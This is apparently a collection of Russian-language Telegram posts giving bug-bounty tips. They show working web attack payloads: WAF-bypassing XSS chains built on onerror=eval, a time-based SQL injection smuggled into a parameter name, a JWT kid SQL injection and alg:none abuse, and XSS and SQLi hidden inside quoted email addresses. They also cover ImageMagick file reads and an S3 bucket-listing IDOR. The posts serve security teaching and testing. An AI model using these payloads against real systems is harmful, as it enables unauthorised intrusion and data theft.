Главная цель — обход WAF, который блокирует типичные паттерны XSS.
Как это работает
onerror на eval позволяет выполнить сообщение об ошибке как кодБазовый прием — использование функции перед шаблонной строкой:
alert`test`
Более продвинутый вариант — создание функции из строки:
Function`alert\u00281\u0029` ``
Здесь скобки заменены на unicode-представление (
\u0028 и \u0029).Динамическое выполнение кода через
hash:Function`_${location.hash.slice`1`}` ``Ключевая идея: подмена
onerror на eval и создание валидного JS-кода из сообщения об ошибке:onerror = eval
throw '=alert\x281\u0029'
Сообщение об ошибке в Chrome:
Uncaught =alert(1), что является валидным кодом (Uncaught становится переменной).Без точки с запятой (используя блок):
{onerror=alert}throw 1Или через запятую:
throw onerror=alert,1
В Firefox формат ошибок другой, поэтому используются объекты
Error:throw onerror=eval,x=new Error,x.message='alert\x281\x29',x
Пейлоад через regexp и конкатенацию:
throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]
Здесь:
a[12] и a[13] извлекают ( и ) из строки функции URL/1/g — regexp, который в строке становится "/1/g"Uncaught /1/g(1337,3331,117) — валидный кодМанипуляция с
TypeError.prototype.name:TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']
Изменяется имя
TypeError, чтобы сообщение об ошибке начиналось с =/, формируя regexp, который комбинируется с -alert(1).Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤3
Поиск багов, связанных с различиями в интерпретации HTTP-запросов разными серверами и прокси 😵💫
Любишь исследовать и искать коллизии при обработке HTTP-запросов? Тогда HTTP Garden — то, что тебе нужно!
Тулза сравнивает, как разные HTTP-серверы и прокси интерпретируют одинаковые запросы. Это особенно полезно для обнаружения HTTP Request Smuggling и других багов⤵️
1️⃣ Создай и запусти несколько серверов и прокси-серверов:
2️⃣ Запусти
3️⃣ Отправь тестовый запрос через HAProxy к серверам Gunicorn, Hyper и Nginx и проанализируй, совпадают ли их интерпретации:
Под капотом больше 35 известных веб- и 10 прокси-серверов + фичи для поиска артефактов в разных комбинациях серверов.
Любишь исследовать и искать коллизии при обработке HTTP-запросов? Тогда HTTP Garden — то, что тебе нужно!
Тулза сравнивает, как разные HTTP-серверы и прокси интерпретируют одинаковые запросы. Это особенно полезно для обнаружения HTTP Request Smuggling и других багов
./garden.sh start --build gunicorn hyper nginx haproxy
repl:./garden.sh repl
garden> payload 'GET / HTTP/1.1\r\nHOST: a\r\n\r\n' | transduce haproxy | fanout | grid
...
Под капотом больше 35 известных веб- и 10 прокси-серверов + фичи для поиска артефактов в разных комбинациях серверов.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9🔥2🤔1
Как эффективно находить связанные данные в API ⁉️
Когда API возвращает значение, одна запись (например, заказ пользователя) может быть связана с другими записями. Ты можешь обнаружить эти связанные данные с использованием существующих эндпоинтов.
Ищи всё, что заканчивается на
💡 Автоматизируй процесс с использованием правил поиска и замены в Burp:
Когда API возвращает значение, одна запись (например, заказ пользователя) может быть связана с другими записями. Ты можешь обнаружить эти связанные данные с использованием существующих эндпоинтов.
Ищи всё, что заканчивается на
_id (user_id, order_id, product_id). Эти элементы являются внешними ключами, связанными с базой данных.В Proxy > Options > Match and Replace задай в поле Match шаблон, который захватывает слово перед _id (например, user из user_id).
Выбери тип запроса: Request First Line (для путей, например /user_id/123) или Request Param Name (для параметров, например ?user_id=123).
Настрой замену для создания множественного числа: в поле Replace добавь 's' к захваченному слову (например, user_id превратится в users).
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3
Syntax Confusion: эксплуатация в дикой природе 🚨
Синтаксическая путаница возникает, когда два и более компонентов в системе по-разному интерпретируют один и тот же пользовательский ввод из-за неоднозначных или противоречивых правил синтаксиса.
Современные веб-приложения часто имеют цепочку парсеров: браузер нормализует ввод, CDN может его переписать, прокси пересылает дальше, фреймворк приложения парсит, а вспомогательные библиотеки интерпретируют заново.
Если на двух этапах ввод семантически «означает» разное, валидация, применённая на одном этапе, может перестать действовать на другом — и тогда от «санитизированного» ввода может остаться путь к эксплуатируемому поведению.
☝️ В языке программирования C определенные последовательности символов обрабатываются препроцессором и/или компилятором как один символ (digraphs и trigraphs). Python и Perl поддерживают экранирование Unicode-символов по именам символов.
Content-Disposition
Параметр
Альтернативный синтаксис с
Если система поддерживает
file URI и обход фильтров
Схема file URI обычно указывает на локальные файлы (
🔗 The Minefield Between Syntaxes: Exploiting Syntax Confusions in the Wild
Синтаксическая путаница возникает, когда два и более компонентов в системе по-разному интерпретируют один и тот же пользовательский ввод из-за неоднозначных или противоречивых правил синтаксиса.
Современные веб-приложения часто имеют цепочку парсеров: браузер нормализует ввод, CDN может его переписать, прокси пересылает дальше, фреймворк приложения парсит, а вспомогательные библиотеки интерпретируют заново.
Если на двух этапах ввод семантически «означает» разное, валидация, применённая на одном этапе, может перестать действовать на другом — и тогда от «санитизированного» ввода может остаться путь к эксплуатируемому поведению.
Content-Disposition
Параметр
filename заголовка Content-Disposition предлагает имена файлов для загружаемых или скачиваемых файлов:HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Disposition: attachment; filename="invoice.pdf"
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="myfile.txt"
Content-Type: text/plain
Альтернативный синтаксис с
* позволяет указать кодировку и использовать URL-кодирование:Content-Disposition: form-data; name="file"; filename*=UTF8''myfile%0a.txt
Если система поддерживает
filename*, ты можешь ввести управляющие символы или обойти ограничения на имена файлов — это открывает дорогу к перезаписи файлов и другим кейсам.file URI и обход фильтров
Схема file URI обычно указывает на локальные файлы (
file:///path/to/file), но также допускает указание хоста: file://<host>/<path>. Используя схему URI файла с указанием хоста, можно обойти фильтры или получить DNS-запросы для отслеживания рабочего процесса в целевом приложении.Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11
Как эффективно находить Client/Server Side Template Injection 🎆
1️⃣ Разведка — сначала технологии
Прогоняй приложение через Wappalyzer/builtwith и смотри, какие рендереры/фреймворки используются в разных частях приложения. Чем больше «технологических слоёв» — тем выше шанс найти багу.
2️⃣ Ищи неочевидные части приложения
CSTI/SSTI часто прячутся в экзотичных вьюхах: часть интерфейса может рендериться иначе и допускать интерпретацию шаблонов, которая «обычным» путём не видна. Если инъекция работает в одной части — проверь остальные.
3️⃣ После инъекции думай про импакт
🟠 CSTI → рассматривай способы получить
🟠 SSTI → от RCE до вытаскивания секретов — думай масштабно
💡 Полезные инструменты и ресурсы
🟠 SSTIMap, TInjA, tplmap
🟠 Template Injection Research
🟠 Evading defences using VueJS noscript gadgets
🟠 The Template Injection Playground
Прогоняй приложение через Wappalyzer/builtwith и смотри, какие рендереры/фреймворки используются в разных частях приложения. Чем больше «технологических слоёв» — тем выше шанс найти багу.
CSTI/SSTI часто прячутся в экзотичных вьюхах: часть интерфейса может рендериться иначе и допускать интерпретацию шаблонов, которая «обычным» путём не видна. Если инъекция работает в одной части — проверь остальные.
session cookies, localStorage или другие данные для ATOPlease open Telegram to view this post
VIEW IN TELEGRAM
❤4🔥2
Мы всегда пытаемся менять значения параметров в надежде зацепиться за нестандартное поведение, но что если экспериментировать с изменением имен параметров ¯\_(ツ)_/¯?
💨 Пример пэйлоада:
someparam[id) VALUES (NULL); WAITFOR DELAY '0:0:5';--]=test
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8😱1
Эксплуатация JSON web tokens: от теории к практике 🚀
По своей структуре JWT состоит из трёх частей — заголовка, пэйлоада и подписи:
➡️ Заголовок (header) передает информацию о типе токена и используемом криптографическом алгоритме.
➡️ Пэйлоад (payload) передает содержащиеся в токене так называемые утверждения (claims), которые делятся на три типа:
▪️ Стандартные — данные о токене (предназначение, издатель, срок действия).
▪️ Пользовательские — данные пользователя токена (имя, электронный адрес, номер телефона).
▪️ Нестандартные — специфические поля, необходимые для конкретных приложений.
➡️ Подпись (signature) гарантирует, что ни заголовок, ни пэйлоад не были изменены.
Большинство уязвимостей JWT возникают из-за неправильной настройки и некорректной проверки входных данных в процессе реализации. Разберем подробнее:
1️⃣ alg: none (отсутствие подписи) — если сервер принимает алгоритм
2️⃣ Отсутствие проверки подписи — пропуск валидации подписи позволяет любому модифицированному токену считаться валидным.
3⃣ Algorithm confusion (путаница алгоритмов) — смена
4⃣ Подмена JWK — динамическая загрузка публичных ключей (
5⃣ Инъекция через kid — небезопасная обработка поля
6⃣ Брутфорс слабых секретов — при использовании HMAC слабые или общие секреты можно подобрать перебором.
7⃣ Захардкоженные ключи — секреты, обнаруженные в исходниках, позволяют создать валидные токены.
Полезные инструменты и ресурсы:
🔗 Introduction to JSON Web Tokens
🔗 Exploiting JWT vulnerabilities: A complete guide
🔗 The JSON Web Token Toolkit v2
🔗 BurpSuite JWT Editor
🔗 PortSwigger Web Security Academy: JWT attacks
По своей структуре JWT состоит из трёх частей — заголовка, пэйлоада и подписи:
Большинство уязвимостей JWT возникают из-за неправильной настройки и некорректной проверки входных данных в процессе реализации. Разберем подробнее:
none, можно отправить unsigned-токен с изменёнными claims и пройти аутентификацию.alg (например, с RS256 на HS256) даёт возможность использовать публичный ключ как HMAC-секрет и подделать подпись.jwks.json) может быть использована для подмены ключа и принятия злонамеренно подписанных токенов.kid может привести к инъекции пути/URL или выбору неподходящего ключа для проверки.{
"alg": "RS256",
"kid": "example-key' OR UNION SELECT 'users'; --"
}$ john --wordlist=/path/to/wordlist.txt jwt.txt
Полезные инструменты и ресурсы:
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12❤2👀2
Ошибки бизнес-логики: манипуляции с последовательностью действий 🛁
Многие приложения рассчитывают на ожидаемую последовательность шагов — например, многошаговый процесс оформления заказа или подтверждение операций.
Фронт обычно отдает страницы в определённом порядке, но при перехвате трафика с помощью прокси ты можешь изменять порядок запросов, отправлять их в неожиданных комбинациях и пытаться ввести сервер в состояние, которое он не ожидает.
Такие кейсы часто не покрыты тестами — в лучшем случае это приведёт к странному поведению, в худшем — к уязвимости. Вот несколько способов нарушить порядок:
1️⃣ Пропусти шаги вперед: попробуй обойти проверки и перейти в «будущее» состояние — например, совершив последовательность один раз, на следующую попытку обращаться только к шагам, которые ожидались на первом проходе.
2️⃣ Вернись назад: после выполнения шага попробуй запросить уже завершённый шаг — это может запутать сервер и изменить ответ.
3️⃣ Повтори действия: отправка одного и того же запроса несколько раз может иметь эффект, похожий на возврат назад и привести к неконсистентности.
Многие приложения рассчитывают на ожидаемую последовательность шагов — например, многошаговый процесс оформления заказа или подтверждение операций.
Фронт обычно отдает страницы в определённом порядке, но при перехвате трафика с помощью прокси ты можешь изменять порядок запросов, отправлять их в неожиданных комбинациях и пытаться ввести сервер в состояние, которое он не ожидает.
Такие кейсы часто не покрыты тестами — в лучшем случае это приведёт к странному поведению, в худшем — к уязвимости. Вот несколько способов нарушить порядок:
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8🔥2
При тестировании GraphQL API начинай с graphw00f — это быстрый способ понять, что именно скрывается под капотом 💡
Тулза отправляет серию запросов, на которые разные GraphQL-движки отвечают по-своему: где-то отличаются ошибки, где-то формат схемы, где-то особенности обработки мутаций и подписок.
🎶 Эти микросигналы позволяют точно определить технологию и версию сервера без доступа к коду.
Результат работы — матрица угроз, в которой сразу видны потенциальные векторы атак: от обхода схемы и нестандартных introspection-паттернов до SSRF через directives и уязвимых обработчиков мутаций🔥
Тулза отправляет серию запросов, на которые разные GraphQL-движки отвечают по-своему: где-то отличаются ошибки, где-то формат схемы, где-то особенности обработки мутаций и подписок.
Результат работы — матрица угроз, в которой сразу видны потенциальные векторы атак: от обхода схемы и нестандартных introspection-паттернов до SSRF через directives и уязвимых обработчиков мутаций
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6
Если приложение использует ⚡️
ImageMagick будет парсить его и пытаться получить ресурс, указанный в атрибуте⤵️
💡 При написании поста вдохновились этим ресерчем
magick convert для изменения загруженного изображения, смело пробуй докручивать до LFI с помощью "text:" ImageMagick будет парсить его и пытаться получить ресурс, указанный в атрибуте
href. А содержимое файла будет рендериться в выходном изображении Please open Telegram to view this post
VIEW IN TELEGRAM
❤14🔥2
От обхода фильтрации email-адресов до SQLi 😓
Если система фильтрует email-адреса и запрещает спецсимволы, попробуй обойти проверку через кавычки перед🤕
Дальше начинается самое интересное — внутри кавычек можно размещать пэйлоад:
Твоя задача — аккуратно сломать валидатор, который определяет корректность адреса по RFC и пропустить вредоносный ввод в бэкенд. Если разработчики привязали фильтрацию email к SQL-запросу без параметров — дорога к SQLi открыта💨
Если система фильтрует email-адреса и запрещает спецсимволы, попробуй обойти проверку через кавычки перед
@. Формат "username"@domain.com валиден по RFC 3696, и большинство валидаторов об этом «забывают» Дальше начинается самое интересное — внутри кавычек можно размещать пэйлоад:
“<noscript src=//xsshere?”@email.com
“1-’or’1'=’1”@email.com
...
Твоя задача — аккуратно сломать валидатор, который определяет корректность адреса по RFC и пропустить вредоносный ввод в бэкенд. Если разработчики привязали фильтрацию email к SQL-запросу без параметров — дорога к SQLi открыта
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16
От простой IDOR до критической утечки PII 😓
Когда доступ к файлам «защищён» сложными идентификаторами, это почти всегда означает одно: уязвимость не исправили, а спрятали под ковёр. Кейс из райтапа хорошо показывает, как такие баги выходят наружу⤵️
Если ты нашёл классическую IDOR — с одного аккаунта можешь получить доступ к файлам другого —
но
→ IDOR есть, но как получить другие идентификаторы?
1️⃣ Найди эндпоинты, куда клиент передаёт имя файла:
Подходящие параметры:
*
*
*
* blob_name
Такие точки входа обычно встречаются в загрузке, обновлении статуса и регистрации документов.
2️⃣ Попробуй отправить пустой ключ
Частая ошибка бекенда — передавать значение в storage/SDK как есть.
S3-совместимые хранилища интерпретируют пустой ключ как
3️⃣ Если получил список — используй пагинацию
S3 и аналоги отдают:
* первые 1000 файлов
* флаг
* последний ключ, который можно использовать как
Так можно пройти весь бакет и собрать имена файлов💭
4️⃣ Подставь полученный ключ в «легитимный» эндпоинт
Если есть эндпоинт, который:
* принимает
* возвращает
— подставь туда любой найденный ключ.
Если сервер не проверяет владельца файла, он подпишет URL к чужому объекту. Это и есть полноценный IDOR💡
Когда доступ к файлам «защищён» сложными идентификаторами, это почти всегда означает одно: уязвимость не исправили, а спрятали под ковёр. Кейс из райтапа хорошо показывает, как такие баги выходят наружу
Если ты нашёл классическую IDOR — с одного аккаунта можешь получить доступ к файлам другого —
GET /api/v1/files/view/{file_id} HTTP/2
Host: api.example.com
Authorization: Bearer <ACCOUNT_B_JWT>но
file_id имеет сложный формат:[UserID]_[Filename]_[Timestamp]_[UniqueID]
→ IDOR есть, но как получить другие идентификаторы?
Подходящие параметры:
*
document_key*
file_key*
object_key* blob_name
Такие точки входа обычно встречаются в загрузке, обновлении статуса и регистрации документов.
Частая ошибка бекенда — передавать значение в storage/SDK как есть.
document_key: ""
document_key: " "
document_key: "%20"
document_key: null
S3-совместимые хранилища интерпретируют пустой ключ как
ListBucket и возвращают список файлов.S3 и аналоги отдают:
* первые 1000 файлов
* флаг
IsTruncated: true* последний ключ, который можно использовать как
?marker=...Так можно пройти весь бакет и собрать имена файлов
Если есть эндпоинт, который:
* принимает
document_key* возвращает
pre-signed URL или прямой доступ— подставь туда любой найденный ключ.
Если сервер не проверяет владельца файла, он подпишет URL к чужому объекту. Это и есть полноценный IDOR
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5❤2🤔2🤨2
Max-Forwards HTTP header ⏳
Во многих приложениях запросы проходят через цепочку прокси, балансировщиков и кэшей. Это скрытый слой инфраструктуры, который часто остаётся «невидимым» — а зря.
Один из способов подсветить эту цепочку — заголовок
По стандарту он применяется к методам
💙 По разным ответам при разных значениях
💙 Иногда запросы начинают вести себя по-разному → можно увидеть несогласованную конфигурацию, нестабильные фильтры, проблемные балансировщики
💙 Это помогает находить расхождения в маршрутизации и потенциальные точки обхода
Кейс редкий, но в правильный момент — очень показательный. Попробуй отправить💡
Во многих приложениях запросы проходят через цепочку прокси, балансировщиков и кэшей. Это скрытый слой инфраструктуры, который часто остаётся «невидимым» — а зря.
Один из способов подсветить эту цепочку — заголовок
Max-Forwards. Если отправить запрос с этим заголовком, можно ограничить количество промежуточных узлов, которые обработают запрос. По стандарту он применяется к методам
TRACE и OPTIONS, но в реальных системах встречается куда шире. Вот почему это полезно:Max-Forwards можно понять, сколько прокси стоит перед приложениемКейс редкий, но в правильный момент — очень показательный. Попробуй отправить
TRACE / или OPTIONS / с разными значениями Max-Forwards и сравни ответы — иногда цепочка раскрывается сама Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7🤔3🫡1
Упрощаем обработку приложений APK / XAPK / APKM / DEX / JAR / WAR с помощью BFScan ⚡️
Когда разбираешь мобильное приложение, главная боль — собрать карту API. Proxy ловит не всё, OpenAPI нет, код обфусцирован, запросы раскиданы по 20 классам.
📦 BFScan решает эту проблему. Это статический анализатор, который вытаскивает HTTP-запросы, эндпоинты, параметры и даже черновую OpenAPI-спеку прямо из APK / XAPK / APKM / DEX / JAR / WAR.
🎯 Что вытаскивает
⚫️ URL, пути, токены, API-ключи и другие подозрительные строки
⚫️ Сырые HTTP-запросы
⚫️ OpenAPI-спецификацию (по аннотациям и конфигам)
⚫️ Захардкоженные секреты
🔍 Что анализирует
Клиентские библиотеки:
⚫️ Retrofit
⚫️ Ktorfit
⚫️ Feign
Серверные фреймворки и аннотации:
⚫️ Spring Web
⚫️ JAX-RS / Jakarta REST
⚫️ Jakarta Servlets
⚫️ Micronaut
⚫️ Struts 1/2
⚫️ Ktor routing
⚫️ Play Framework
⚫️ Swagger / OpenAPI-аннотации
⚫️ web.xml / jetty.xml
🧵 Что удобно для реверса
⚫️ Автоматически декомпилирует даже обфусцированный код через
⚫️ Сшивает роуты, методы, параметры и тела запросов
⚫️ Даёт готовую базу для тестирования API, даже если приложение — чёрный ящик
🧪 Зачем багхантеру
⚫️ Быстрое перечисление скрытых методов API
⚫️ Поиск забытых эндпоинтов, внутренних роутов, legacy-методов
⚫️ Детект захардкоженных секретов → токены бэкенда, тестовые креды, Firebase-ключи
⚫️ Расширение поверхности атаки для мобилок и веба
⚫️ Отличная база для SSRF, IDOR, авторизационных багов, parameter pollution
Когда разбираешь мобильное приложение, главная боль — собрать карту API. Proxy ловит не всё, OpenAPI нет, код обфусцирован, запросы раскиданы по 20 классам.
📦 BFScan решает эту проблему. Это статический анализатор, который вытаскивает HTTP-запросы, эндпоинты, параметры и даже черновую OpenAPI-спеку прямо из APK / XAPK / APKM / DEX / JAR / WAR.
🎯 Что вытаскивает
🔍 Что анализирует
Клиентские библиотеки:
Серверные фреймворки и аннотации:
🧵 Что удобно для реверса
jadx🧪 Зачем багхантеру
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍3